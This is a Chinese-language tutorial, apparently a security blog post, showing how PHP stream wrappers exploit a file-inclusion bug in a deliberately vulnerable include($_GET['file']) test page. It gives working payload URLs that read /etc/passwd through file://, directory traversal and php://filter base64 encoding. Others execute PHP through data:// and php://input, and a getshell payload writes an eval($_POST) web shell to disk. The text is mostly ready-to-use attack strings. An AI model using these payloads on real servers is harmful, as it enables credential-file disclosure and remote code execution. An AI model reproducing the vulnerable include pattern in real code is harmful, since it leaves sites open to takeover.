php伪协议

1
2
3
4
5
6
7
8
9
10
11
12
file://————访问本地文件系统
http://————访问 HTTP(s)网址
ftp://————访问FTP(s)URLs
php://————访问各个输入/输出流(I/O streams )
zlib://————压缩流
data://————数据(RFC 2397)
glob://————查找匹配的文件路径模式
phar://————PHP归档
ssh2://————Secure Shell 2
rar://————RAR
ogg://————音频流
expect://————处理交互式的流

这里我以文件包含漏洞为例来演示php伪协议的利用方法

1
2
3
<?php
include($_GET['file']);
?>

image-20220417170607227

file://

该协议用来访问服务端的本地文件,但是文件的协议固定结构后面的路径得是绝对路径(用相对路径则就不需要带上协议了)

使用条件:

1
allow_url_fopen=On/Off(均可) allow_url_include=On/Off(均可)

使用效果:

1
http://192.168.189.148/test.php?file=file:///etc/passwd

image-20220417170654626

利用相对路径来读取文件

1
http://192.168.189.148/test.php?file=../../../etc/passwd

image-20220417171026657

http(s)://

该协议类似于访问输入的网页(但实际上还是和直接访问有区别,比如访问百度就虽然能显示正常的页面,但是百度一下的功能是使用不了的,会显示报错)

1
使用条件:allow_url_fopen=On allow_url_include=On/Off(均可)

使用效果

1
http://127.0.0.1/test.php?file=http://www.baidu.com

image-20220417204539853

php://filter

该协议多用来对文件处理,可以是读取时处理文件也可以是写入时处理文件。

1
使用条件: allow_url_fopen=On/Off(均可) allow_url_include=On/Off(均可)

read=  读取时选取的处理方式,一次可以选择多个处理方式,不同方式之间用|符号隔开。

write=  写入时选取的处理方式,一次可以选择多个处理方式,不同方式之间用|符号隔开。

resource=  通常是本地文件的路径,绝对路径和相对路径均可以使用。

1
2
3
4
5
6
7
关于read和write参数,其具体数值有:
  string.toupper 转换为大写
  string.tolower 转换为小写
  string.rot13 进行rot13加密
  string.strip_tags 去除目标中含有的HTML、XML和PHP的标签(等同于strip_tags()函数)
  convert.base64-encode 进行base64加密
  convert.base64-decode 进行base64解密
1
http://192.168.189.148/test.php?file=php://filter/resource=/etc/passwd

image-20220417202041211

1
http://192.168.189.148/test.php?file=php://filter/read=convert.base64-encode/resource=../../../../etc/passwd

image-20220417202556374

image-20220417202609531

php://input

该协议获取数据包的消息正文的内容作为变量的值

1
使用条件(这些设定在php.ini文件中设置):allow_url_fopen=On/Off(均可) allow_url_include=On
1
http://127.0.0.1/test.php?file=php://input

image-20220417203358154

data://

该协议类似于php://input,区别在于data://获取的是协议固定结构后的内容

1
2
3
data://text/plain;base64
data://text/plain
区别: 前者获取的是协议固定结构后所接内容的base64解密格式,而后者获取的是未被解密的格式
1
http://127.0.0.1/test.php?file=data://text/plain,<?php echo('hello');?>

image-20220417204143859

1
http://127.0.0.1/test.php?file=data://text/plain,<?php phpinfo();?>

image-20220417204251179

getshell

1
<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["s"]);?>');?>

image-20220418185120763

成功写入shell.php

image-20220418185153493

phar://、zip://、bzip2://、zlib://

1
用于读取压缩文件,zip://、bzip2://、zlib://均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀: jpg png gif等等。

访问1.zip文件中的1.jpg文件(需要跟压缩文件的绝对路径)

1
http://127.0.0.1/test.php?file=zip://D:\phpStudy\WWW\1.zip%231.jpg

image-20220417205538705

1
http://127.0.0.1/test.php?file=phar://D:\phpStudy\WWW\1.zip\1.jpg

image-20220417205905132